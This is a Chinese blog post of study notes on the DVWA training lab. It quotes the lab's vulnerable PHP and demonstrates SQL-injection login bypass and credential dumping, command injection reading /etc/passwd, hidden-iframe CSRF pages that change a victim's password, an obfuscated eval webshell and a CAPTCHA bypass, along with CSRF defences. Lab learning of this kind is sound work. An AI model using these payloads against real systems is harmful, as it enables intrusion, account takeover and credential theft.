参考了大神的博客
# 商业转载请联系作者获得授权,非商业转载请注明出处。
# For commercial use, please contact the author for authorization. For non-commercial use, please indicate the source.
# 协议(License):署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
# 作者(Author):无垠
# 链接(URL):https://www.wuyini.cn/672.html
# 来源(Source):
安全等级(LOW)
暴力破解
burpsuite梭哈一波爆出密码,burpsuite使用破解组合可分别对密码和账户进行破解。
我以为这就结束了,然后看到了大神的文章,发现玩法还很多,自己就是个弟弟
下面介绍大神的玩法
php源码
if( isset( $_GET[ 'Login' ] ) ) {# 获取用户名和密码$user = $_GET[ 'username' ];$pass = $_GET[ 'password' ];$pass = md5( $pass );# 查询验证用户名和密码$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );if( $result && mysql_num_rows( $result ) == 1 ) {# 输出头像和用户名$avatar = mysql_result( $result, 0, "avatar" );echo "<p>Welcome to the password protected area {$user}</p>";}else {登录失败}mysql_close();}
分析:
1、GET方式传参,GET方式传参将账号和密码放置在了URL中,使得攻击者更容易得到关键信息
2、传入参数没有进行过滤,从源码可以看出传入参数直接拼接在后台得SQL语句中,可进行SQL注入
那除爆破外,没有对GET进行过滤,则使用SQL注入对其攻击
大神的玩法如下,其也称万能密码
万能密码
?username=admin'--+&password=111&Login=Login#
实际在后台构建了SQL语句如下
SELECT * FROM `users` WHERE user = 'admin'--+' AND password = '111';可以看到在SQL语句中,由于单引号的提前闭合以及注释会将AND后面的语句查询条件注释,导致不用输入密码,即可登录admin账户
报错注入
审计源码可得出,由于直接返回数据库查询的result的值,且并未做任何处理,可以对传入参数进行报错注入
玩法如下:
?username=admin'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(user,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+&password=111&Login=Login#
需要配合burp suite使用得到admin的密码
其他
具体的其他注入,咱也不敢问,咱也玩不来,(单纯的菜狗罢了)。然后相关SQL靶场参考burp suite的靶场
命令注入
这道题,一开始是懵逼的,不管了,上源码吧
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";}?>
只看过一点PHP基础的我流下了悔恨的泪水,所以在平时的渗透过程中,一定要对相关语言函数功能特别熟悉。
这里介绍一下shell_exec函数。shell_exec: 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
标准用法
shell_exec(string $cmd): string注意:在 Windows 上,底层管道以文本模式打开,这可能导致二进制输出的功能失效。popen()代替。
我们看到传入参数并没有进行参数过滤,于是可以使用相关的命令特性进行命令执行
所以输入
127.0.0.1;cat /etc/passwd
实则运行了
ping 127.0.0.1 ; cat /etc/passwd
除了返回的ping的结果外,还会返回/etc/passwd里的文件内容,注意shell_exec返回的结果是字符串
跨站请求伪造(CSRF)
什么是CSRF呢?我也不知道,现学吧(从网上抄的图)
来源链接:https://www.cnblogs.com/pengdai/p/12164754.html

整理一下过程吧,图有点乱且,,,,(什么网站,你懂的,嘿嘿嘿)
1、登录正常网站A
2、通过登录验证,在用户C处产生正常网站的Cookie
3、在没有退出A的情况下,访问被黑客控制网站B
4、B发出要求访问网站A的请求
5、根据由B网站发起的请求,带着A网站的cookie访问网站A
于是,攻击者就利用的身份成功的登录网站A了,,,,
从上图可以看出,A网站通过cookie来识别用户(C),当用户成功进行身份验证之后浏览器就会得到一个标识其身份的cookie,只要不关闭浏览器或者退出登录,以后访问A网站会一直带上这个cookie。如果这期间浏览器被人控制着向A网站发起请求去执行一些用户不想做的功能(比如添加账号),这就是会话劫持了。因为这个不是用户真正想发出的请求,这就是所谓的“请求伪造”。此外,由于请求可以从第三方网站提交,所以前缀跨站二字,即从B网站发起。
注意项:
1,黑客无法获取或看到目标的cookie
对于服务器返回的结果,由于浏览器同源策略的限制,黑客也无法进行解析。因此,黑客无法从返回的结果中得到任何东西,他所能做的就是给服务器发送请求,以执行请求中所描述的命令,在服务器端直接改变数据的值,而非窃取服务器中的数据。
2、 为什么有些框架(比如Spring Security)里防护CSRF的filter限定的Method是POST/PUT/DELETE等,而没有限定GET Method?
我们要保护的对象是那些可以直接产生数据改变的服务,而对于读取数据的服务,则不需要进行 CSRF 的保护。通常而言GET请作为请求数据,不作为修改数据,所以这些框架没有拦截Get等方式请求。比如银行系统中转账的请求会直接改变账户的金额,会遭到 CSRF 攻击,需要保护。而查询余额是对金额的读取操作,不会改变数据,CSRF 攻击无法解析服务器返回的结果,无需保护。
3、 为什么我在前端已经采用POST+CSRF Token请求,后端也对POST请求做了CSRF Filter,但是渗透测试中还有CSRF漏洞?
// 这里没有限制POST Method,导致用户可以不通过POST请求提交数据。@RequestMapping("/url")public ReponseData saveSomething(XXParam param){// 数据保存操作...}
防御CRSF
1、验证 HTTP Referer 字段
根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL,通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。
2、在请求地址中添加 token 并验证(防御方式有缺陷,操作麻烦)
CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上 ,这样就把 token 以参数的形式加入请求了。但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。
该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token,黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使这个 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。
3、在 HTTP 头中自定义属性并验证(修改代价巨大,给用户带来了操作不便)
这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。
然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。另外,对于没有进行 CSRF 防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。
题目:
<?phpif( isset( $_GET[ 'Change' ] ) ) {// get传参$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// 核查密码是否正确if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// 更新数据库$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>
审计代码:
1、采用GET方式修改密码数据,且不用输入原密码
2、可构造链接让目标点击,从而可以改变目标密码(想来,但凡有点安全意识,应该不会点吧)
3、可以CRSF攻击
攻击方法:
1,构造链接,直接让目标点(如果目标是傻子的话)
http://example/vulnerabilities/csrf/?password_new=admin%40123&password_conf=admin%40123&Change=%E6%94%B9%E5%8F%98将密码改为admin@123
2,短链接生成器(站长之家要登录,或者https://zws.im/)
https://zws.im/
生成的短链接可以让用户点击,改变密码(用 curl -i url 可查看网址的重定向的链接)
3、XSS与CRSF结合
可以写一个网页,目标点击网页即可截获其cookie,登录目标(前提是目标登录网站且没有登出,且还是同意浏览器)
<html><head><title>XSS&CSRF</title></head><body><script src="http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#"></script></body></html>
核心语句就是通过 scirpt 标签的 src 属性来记载攻击 payload 的 URL:Javascript
<script src="http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#"></script>
也可以通过iframe 标签进行攻击且使攻击html更加隐蔽,需添加 style=”display:none;”
<iframe src="http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#" style="display:none;"></iframe>
img 标签的 src 属性依然也可以实现攻击:Html
<img src="http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#">
src 属性拥有跨域的能力,只要标签支持 src 的话 都可以尝试一下 xss 与 csrf 结合
文件包含
审计代码
<?php//文件直接读取$file = $_GET[ 'page' ];?>
漏洞分析:
1、读取文件没有做任何过滤,且权限限制,file参数可传入任何文件参数
2、配合文件上传,获得webshell
3、远程文件包含(很少能遇见,能将包含其他网站文件)
4、伪协议

文件上传
审计代码
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// POST传参,且返回了上传文件的漏洞$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}?>
漏洞分析
1、上传文件并未做任何过滤,可以任意上传各种类型的文件
2、返回了上传文件所在的路径,可以直接访问上传的文件
靶场攻破
首先写一个php文件,并命名为test.php(因为DWVA是php语言环境的啦,不要问我为啥不用其他语言啦)
<?php phpinfo();?>
然后访问http://dvwa.pte.com/hackable/uploads/test.php,就可以看到我们的php文件已经被执行了
当然我们可以进行其他php执行文件上传,比如一句话木马(用来获取webshell)等。例如
<?php$a=base64_decode("ZXZhbA==")//eval$a($_POST['a']);?>
不安全验证码
审计代码
<?phpif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// 隐藏验证码表单$hide_form = true;// POST方式传参$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// 核查验证码并返回布尔变量给resp$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key'],$_POST['g-recaptcha-response']);// 核查验证码是否失败if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// 验证码验证成功,核查修改的密码是否一致if( $pass_new == $pass_conf ) {// 执行下一步echo "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// 密码不一致$html .= "<pre>Both passwords must match.</pre>";$hide_form = false;}}}if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// 隐藏验证码表单$hide_form = true;// POST传参$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// 检查修改的密码是否一致if( $pass_new == $pass_conf ) {// 与数据库建立链接,并将新密码转为其md5值$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// 更新数据库$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// 回显密码修改成功echo "<pre>Password Changed.</pre>";}else {// 否则,回显密码修改失败echo "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>
漏洞分析
1、验证码有了两部分,第2步明显没有验证码核查
2、post传参在burpsuite装包可以改变表单从而达到攻击效果
靶场攻击
将原先的step=1,改为step=2即可绕过验证码,修改密码成功
SQL注入
审计代码
<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// 获取参数$id = $_REQUEST[ 'id' ];// SQL语句拼接$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// 返回结果while( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// 回显结果echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);}?>
(擦,虽然刷完了burpsuite的sql靶场,但自己还是菜的一匹,那么就开始学sql手动注入吧!别想着sqlmap打穿全场,注意,工具始终是别人写的,只会用工具而不知道原理是不会进步的!)
-1' database()#####得到数据库名#####dwva####################-1' union select 1,table_name from information_schema.tables where table_schema='dvwa' limit 0,1 #################得到表名###############tablenameusers#######################################-1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1 ###############得到字段名#################columns0 user_id1 first_name2 last_name3 user4 password#########################################-1' union select 1,group_concat(user,'~',password) from users ##########爆破出用户名和密码#######

SQL盲注
审计代码
<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ];// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>
原理:输入成功与失败会导致输出不同,可以直接在或拼接爆破的 sql 语句,就不造轮子了,直接上sqlmap吧
hack成功
断更!
原因是看了大佬的一篇博客,学习中的笔记如果不是高效的就不必要去记,我陷入了这个误区每次笔记都要想着排版,说明清楚,花费了很大一部分时间去思考。然而该思考的不是怎么记笔记,而是怎么去积累安全经验和基础知识,所以以后的笔记只会记录一些我觉得有价值记录的东西!
